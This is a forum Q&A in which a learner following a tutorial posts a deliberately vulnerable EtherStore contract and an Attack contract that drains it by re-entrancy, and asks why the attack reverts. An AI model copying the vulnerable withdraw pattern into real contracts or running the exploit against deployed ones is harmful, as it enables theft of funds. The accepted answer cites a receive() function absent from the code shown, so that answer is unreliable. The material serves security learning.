Solidity – Fix Re-Entrancy Attack Error: Function Should be Payable and Value Sent Should Be Less Than

solidity

I'm following a tutorial on youtube about Re-Entrancy attacks to understand security.

I've created two contracts in seperated files using remix :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

    contract EtherStore {
        mapping(address => uint) public balances;
    
        function deposit() public payable {
            balances[msg.sender] += msg.value;
        }
    
        function withdraw() public {
            uint bal = balances[msg.sender];
            require(bal > 0);
    
            (bool sent, ) = msg.sender.call{value: bal}("");
            require(sent, "Failed to send Ether");
    
            balances[msg.sender] = 0;
        }
    
        // Helper function to check the balance of this contract
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "./EtherStore.sol";
    contract Attack {
        EtherStore public etherStore;
    
        constructor(address _etherStoreAddress) {
            etherStore = EtherStore(_etherStoreAddress);
        }
    
        // Fallback is called when EtherStore sends Ether to this contract.
        fallback() external payable {
            if (address(etherStore).balance >= 1 ether) {
                etherStore.withdraw();
            }
        }

       
        function attack() external payable {
            require(msg.value >= 1 ether);
            etherStore.deposit{value: 1 ether}();
            etherStore.withdraw();
        }
    
        // Helper function to check the balance of this contract
        function getBalance() public view returns (uint) {
            return address(this).balance;
        }
    }

First I deployed EtherStore, I send 2 ethers from different accounts Alice & Bob.
I deployed the Attack contract with the address of EtherStore.
Then with another Account that I deployed the Attack contract with, I entered 1 ether and click on the attack function to get the 2 ether of Alice & bob.

The error that I got is this one :

The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance.
Debug the transaction to get more information.

This is the code from the tutorial:
https://solidity-by-example.org/hacks/re-entrancy/

What do you think?

Best Answer

receive() has priority over fallback(). You have both of them in your contract so the receive will be called and not the fallback.

And there is no reason for it to fail if it does nothing and its payable so my guess is maybe you complied the code in remix but you forgot to deploy it again and you called the attack on an old implementation.

Related Topic